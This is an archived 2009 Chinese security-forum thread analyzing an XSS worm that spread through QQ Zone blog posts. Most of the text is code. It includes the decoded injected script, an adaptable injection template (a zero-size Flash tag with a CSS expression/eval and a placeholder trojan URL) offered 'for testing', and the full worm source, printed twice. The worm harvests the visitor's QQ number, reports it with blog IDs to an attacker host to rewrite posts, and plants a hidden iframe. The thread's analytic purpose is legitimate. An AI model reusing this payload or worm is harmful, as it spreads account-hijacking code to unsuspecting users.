邪恶八进制信息安全团队技术讨论组's Archiver

风雪残士 2009-4-25 22:53

[原创]QQ空间出现跨站漏洞疑有木马利用此漏洞

信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
文章作者:风雪残士([url=http://blog.tkbbs.com]http://blog.tkbbs.com[/url])

[b]注:本文首发[url=http://blog.tkbbs.com/article/48.htm]本人BLOG[/url],如果转载请注明作者与出处,谢谢。[/b]

    前几天出现访问空间弹出广告 开始没怎么注意 后来经一位朋友说 看我一篇日志经常出现广告。 加上自己的经历。
[attach]13067[/attach]
看了下源代码  发现有个共同处  一律有 [url]http://catche.qq.com/temp/20081209/4236888.swf[/url] 这个FLASH地址(访问不了) 而重要的在后面那段标记蓝色代码  经过简单的unicode加密 解码后为

程序代码[code]this.parentNode.style.display='none';if(!window.xxr){var l=document.createElement('script');l.src='http://love.avtupian.com/a/q/mq.jpg';l.type='text/javascript';document.getElementsByTagName('head').item(0).appendChild(l);window.xxr=1}[/code]就是不知道到底是腾讯的问题 还是病毒自动提交的跨站代码  而腾讯空间有跨站漏洞是毋庸置疑的。

把http: //love.avtupian.com/a/q/mq.jpg下载过来用记事本打开 就可以发现恶意代码


空间日志特征是一个大小都为0的 FLASH 地址为 [url]http://catche.qq.com/temp/20081209/4236888.swf[/url]
只要重新编辑下 删掉FLASH 即可(不是转帖复制 手动打上去的文章也有此情况)

又访问了几位好友空间  以前发布的日志没这种情况  基本发生在最近3-4天前发布的日志  病毒代码不是每人都有

个人水平有限 无法确定究竟是腾讯空间出的问题还是病毒造成。 大量网民感染木马自动提交的一段代码

以下代码仅供测试 切勿用作非法用途[code][flash,0,0]http://随意地址/fxcs.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//木马网站地址/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash][/code]开头的FLASH 随便填  木马网站地址/a/q/mq.jpg 修正为木马路径。

搜索引擎查询
[url]http://www.baidu.com/s?tn=index88_pg&ct=0&ie=gb2312&bs=site%3A4236888.swf&sr=&z=&cl=3&f=8&wd=site%3Aqq.com+4236888.swf[/url]
[url]http://www.baidu.com/s?tn=360se_dg&ie=gb2312&bs=site%3Aqq.com+4236888.swf&sr=&z=&cl=3&f=8&wd=4236888.swf&ct=0[/url]
[url]http://www.google.cn/search?hl=zh-CN&q=4236888.swf&meta=&aq=f&oq=[/url]
由于查找不了源文件 搜索结果小的可怜  无法扩大搜索

这个漏洞应该有人早发现了  而且制作了程序实现编辑日志自动带一个 这么尾巴 由于FLASH大小为0 不注意就不会发现

mq.jpg 代码  (连接框架地址部分我修改了下 其他没变 现在网站访问不了 不知道原版是啥。。)[code]function killErrors() {return true;}
window.onerror=killErrors;

var shendu;shendu=4;
//---------------global---v------------------------------------------
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
var myblogurl=new Array();var myblogid=new Array();
        var gurl=document.location.href;
        var gurle=gurl.indexOf("com/");
gurl=gurl.substring(0,gurle+3);   
var visitorID=top.document.documentElement.outerHTML;
    var cookieS=visitorID.indexOf("g_iLoginUin = ");
visitorID=visitorID.substring(cookieS+14);
cookieS=visitorID.indexOf(",");
visitorID=visitorID.substring(0,cookieS);
get_my_blog(visitorID);
DOshuamy();
function DOshuamy(){
var ssr=document.getElementById("veryTitle");
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.tkbbs.com/1.html'></iframe>");
}
//-----------------------------------------
function get_my_blog(visitorID){
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
   xhr=createXMLHttpRequest();
   if(xhr){
     xhr.open("GET",userurl,false);
     xhr.send();guest=xhr.responseText;
     get_my_blogurl(guest);
    }
}

function get_my_blogurl(guest){
  var mybloglist=guest;
  var myurls;var blogids;var blogide;
  for(i=0;i<shendu;i++){
     myurls=mybloglist.indexOf('selectBlog(');
     if(myurls!=-1){
         mybloglist=mybloglist.substring(myurls+11);
         myurls=mybloglist.indexOf(')');
         myblogid[i]=mybloglist.substring(0,myurls);
        }else{break;}
}
get_my_testself();
}

function get_my_testself(){
  for(i=0;i<myblogid.length;i++){
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid[i]+"&r="+Math.random();
      var xhr2=createXMLHttpRequest();
      if(xhr2){
              xhr2.open("GET",url,false);     
              xhr2.send();
              guest2=xhr2.responseText;
              var mycheckit=guest2.indexOf("baidu");
              var mycheckmydoit=guest2.indexOf("mydoit");
              if(mycheckmydoit!="-1"){
targetblogurlid=myblogid[i];
add_jsdel(visitorID,targetblogurlid,gurl);
break;
        }
              if(mycheckit=="-1"){
targetblogurlid=myblogid[i];
add_js(visitorID,targetblogurlid,gurl);
break;
        }
        }      
}
}

//--------------------------------------  
function createXMLHttpRequest(){
    var XMLhttpObject=null;   
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}   
    else   
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];         
        for(var i=0;i<MSXML.length;i++)   
        {   
            try  
            {   
                XMLhttpObject=new ActiveXObject(MSXML[i]);   
                break;   
            }   
            catch (ex) {  
            }   
         }   
      }
return XMLhttpObject;
}  

function add_js(visitorID,targetblogurlid,gurl){
var s2=document.createElement('script');
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
s2.type='text/javascript';
document.getElementsByTagName('head').item(0).appendChild(s2);
}
function add_jsdel(visitorID,targetblogurlid,gurl){
var s2=document.createElement('script');
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
s2.type='text/javascript';
document.getElementsByTagName('head').item(0).appendChild(s2);
}[/code]另请求达人解释下 这个JS文件大致意思

[[i] 本帖最后由 风雪残士 于 2009-4-26 17:11 编辑 [/i]]

FD515020118 2009-4-26 13:04

存在空间日志还是其他模块都有?

风雪残士 2009-4-26 13:33

目前就发现日志内容页
传播方式 应该不是木马 应该是跨站代码自动修改空间日志 提交 那段跨站代码达到传播目的
至于修改哪几篇 规律是什么  我看不懂。。。  JS代码 我太烂了
可以肯定的是 传播范围很广

黯魂 2009-4-26 21:18

[url]http://hi.baidu.com/80sec/blog/item/4da1d01a2d3892ddac6e75f0.html[/url]
[url]http://hi.baidu.com/ycosxhack/blog/item/6240ba13d256ebd8f6039e43.html[/url]

楼主可以参考

风雪残士 2009-4-26 21:47

我曾说 发现这个漏洞的人 还没啥 但利用如此完美的人  完美的散播方式 简直让人赞叹了 完美的技术与商业结合。。。

乱雪 2009-4-26 21:47

一个XSS蠕虫的核心过程一般是:通过跨站引用一个JS文件,即本身;然后判断浏览器创建个XMLHttpRequest对象;再判断是否登录;如果登录则判断是否感染过;如果没感染,将自身通过跨站感染。

因为我没测试过QQ空间,对感染代码一些值、URL是干什么的都不知道,代码简单标记了下过程,有错误欢迎指出


function killErrors() {return true;}
window.onerror=killErrors;

var shendu;shendu=4;
//---------------global---v------------------------------------------
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
var myblogurl=new Array();var myblogid=new Array();
        var gurl=document.location.href;
        var gurle=gurl.indexOf("com/");
        gurl=gurl.substring(0,gurle+3);         
        var visitorID=top.document.documentElement.outerHTML;
           var cookieS=visitorID.indexOf("g_iLoginUin = ");
        visitorID=visitorID.substring(cookieS+14);
        cookieS=visitorID.indexOf(",");
        visitorID=visitorID.substring(0,cookieS);
        get_my_blog(visitorID);
        DOshuamy();

//挂马
function DOshuamy(){
var ssr=document.getElementById("veryTitle");
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.tkbbs.com/1.html'></iframe>");
}

//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
function get_my_blog(visitorID){
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
   xhr=createXMLHttpRequest();        //创建XMLHttpRequest对象
   if(xhr){        //成功就执行下面的
     xhr.open("GET",userurl,false);        //以GET方式打开定义的URL
     xhr.send();guest=xhr.responseText;
     get_my_blogurl(guest);        //执行这个函数
    }
}

//这里似乎是判断没有登录的
function get_my_blogurl(guest){
  var mybloglist=guest;
  var myurls;var blogids;var blogide;
  for(i=0;i<shendu;i++){
     myurls=mybloglist.indexOf('selectBlog(');        //查找URL中“selectBlog“字符串,干什么的就不知道了
     if(myurls!=-1){        //找到了就执行下面的
         mybloglist=mybloglist.substring(myurls+11);
         myurls=mybloglist.indexOf(')');
         myblogid[i]=mybloglist.substring(0,myurls);
        }else{break;}
}
get_my_testself();        //执行这个函数
}

//这里往哪跳就不知道了
function get_my_testself(){
  for(i=0;i<myblogid.length;i++){        //获得blogid的值
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid[i]+"&r="+Math.random();
      var xhr2=createXMLHttpRequest();        //创建XMLHttpRequest对象
      if(xhr2){                //如果成功
              xhr2.open("GET",url,false);     //打开上面的那个url
              xhr2.send();
              guest2=xhr2.responseText;
              var mycheckit=guest2.indexOf("baidu");        //找"baidu"这个字符串,找它做什么?
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
              if(mycheckmydoit!="-1"){        //返回-1则代表没找到
                targetblogurlid=myblogid[i];       
                add_jsdel(visitorID,targetblogurlid,gurl);        //执行它
                break;
               }
              if(mycheckit=="-1"){
                targetblogurlid=myblogid[i];
                add_js(visitorID,targetblogurlid,gurl);        //执行它
                break;
               }
        }      
}
}

//--------------------------------------  
//根据浏览器创建一个XMLHttpRequest对象
function createXMLHttpRequest(){
    var XMLhttpObject=null;   
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}   
    else   
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];         
        for(var i=0;i<MSXML.length;i++)   
        {   
            try  
            {   
                XMLhttpObject=new ActiveXObject(MSXML[i]);   
                break;   
            }   
            catch (ex) {  
            }   
         }   
      }
return XMLhttpObject;
}  

//这里就是感染部分了
function add_js(visitorID,targetblogurlid,gurl){
var s2=document.createElement('script');
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
s2.type='text/javascript';
document.getElementsByTagName('head').item(0).appendChild(s2);
}

function add_jsdel(visitorID,targetblogurlid,gurl){
var s2=document.createElement('script');
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
s2.type='text/javascript';
document.getElementsByTagName('head').item(0).appendChild(s2);
}

乱雪 2009-4-26 22:30

[url]http://luanx.blogbus.com/logs/38529803.html[/url]我贴博客里了  欢迎指出:lol:

风雪残士 2009-4-27 10:37

截止今天早上漏洞已被TX修复 速度可真快 不过这这安全漏洞 值得思考啊
如楼上朋友所说 还是有研究价值的:lol:

faeng220 2009-5-12 23:34

QQ空间出现跨站漏洞 Javascript 源代码功能分析,可在这里看到.
[url]http://xqin.cn/code/QQ_XSS_Explain.html[/url]

本人,刚在一个群里看到这个帖子,随产生兴趣.正好自己也是做js这一行的,就顺便把源代码给分析一下..

供大家参考.:lol:

st285 2009-6-18 20:27

弱弱的问句
关于mq.jpg的代码如何执行?
是不是2003的系统IIS会自动解析JPG里面的代码?

lipss 2009-7-10 04:29

很明显就是XSS蠕虫

页: [1]
© 1999-2008 EvilOctal Security Team